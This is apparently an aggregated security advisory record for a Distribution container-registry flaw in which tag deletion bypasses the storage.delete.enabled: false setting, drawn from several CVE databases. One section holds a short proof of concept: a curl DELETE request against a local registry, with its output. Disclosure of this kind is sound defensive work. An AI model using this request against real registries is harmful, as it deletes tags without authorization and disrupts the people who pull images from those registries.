Distribution: Tag deletion bypasses `storage.delete.enabled` configuration

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Distribution: Tag deletion bypasses `storage.delete.enabled` configuration

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.1, tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. This vulnerability is fixed in 3.1.1.

Source published

14 May 2026 16:53:37 UTC

Source modified

14 May 2026 18:38:43 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.1, tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client…

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.1, tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. This vulnerability is fixed in 3.1.1.

Source published

May 14, 2026, 4:53:37 PM (timezone not stated)

Source modified

May 14, 2026, 6:38:43 PM (timezone not stated)

Saved here

15 Nov 2026 13:02:55 UTC

Source terms

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.1, tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client…

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.1, tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. This vulnerability is fixed in 3.1.1.

Source published

14 May 2026 18:16:47 UTC

Source modified

11 Nov 2026 20:10:00 UTC

Saved here

12 Nov 2026 16:19:25 UTC

Source terms

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Distribution's tag deletion bypasses `storage.delete.enabled` configuration

### Summary Tag deletion via the `DELETE /v2/<name>/manifests/<tag>` endpoint bypasses the `storage.delete.enabled: false` configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. ### Details When `storage.delete.enabled` is configured to false, digest-based manifest deletion is correctly rejected by the guard in [registry/storage/linkedblobstore.go:212-215](https://github.com/distribution/distribution/blob/main/registry/storage/linkedblobstore.go#L213-L215). However, tag deletion takes a separate code path that never checks this setting: In [`registry/handlers/manifests.go:439-453`](https://github.com/distribution/distribution/blob/main/registry/handlers/manifests.go#L439-L453), `DeleteManifest` detects a tag reference, calls `tagService.Untag()`, returns, never consulting `registry.deleteEnabled`. In turn, [`tagStore.Untag()`](https://github.com/distribution/distribution/blob/main/registry/storage/tagstore.go#L111-L121) calls the storage driver directly to delete the tag path without checking whether deletes are enabled. ### PoC Using a paired down Distribution configuration that explicitly disables deletes, such as this one, stored as `config.yaml`: ```yaml version: 0.1 storage: delete: enabled: false filesystem: rootdirectory: /var/lib/registry http: addr: :5000 ``` Start a local Distribution, mounting in the above configuration from the current directory: ```shell docker run -p 5000:5000 -v "$(pwd)/config.yaml":/config.yaml --restart=always --name registry registry:3.1.0 /config.yaml ``` In a separate terminal session/tab, push `alpine:3.23` into the running instance: ```shell docker pull alpine:3.23 docker tag alpine:3.23 localhost:5000/alpine:3.23 docker push localhost:5000/alpine:3.23 ``` Confirm that the tag shows up as expected: ```shell curl 'http://localhost:5000/v2/alpine/tags/list' {"name":"alpine","tags":["3.23"]} ``` Issue a delete for the `3.23` tag: ```shell curl -X DELETE 'http://localhost:5000/v2/alpine/manifests/3.23' ``` Observe that the tag is now gone, despite deletes being disabled: ```shell curl 'http://localhost:5000/v2/alpine/tags/list' {"name":"alpine","tags":null} ``` ### Impact This is an authorization bypass vulnerability. Any client with network access to the registry can delete tags despite the operator having disabled deletion. This can cause denial of service for consumers pulling by tag and enables supply-chain disruption by removing trusted tags from a registry that the operator and/or users believed to be immutable.

Source published

4 May 2026 20:48:57 UTC

Source modified

10 Sep 2026 03:50:45 UTC

Saved here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Publisher rating · MODERATE

Distribution's tag deletion bypasses `storage.delete.enabled` configuration in github.com/distribution/distribution

Distribution's tag deletion bypasses `storage.delete.enabled` configuration in github.com/distribution/distribution

Source published

25 Jun 2026 18:43:15 UTC

Source modified

18 Aug 2026 11:25:33 UTC

Saved here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.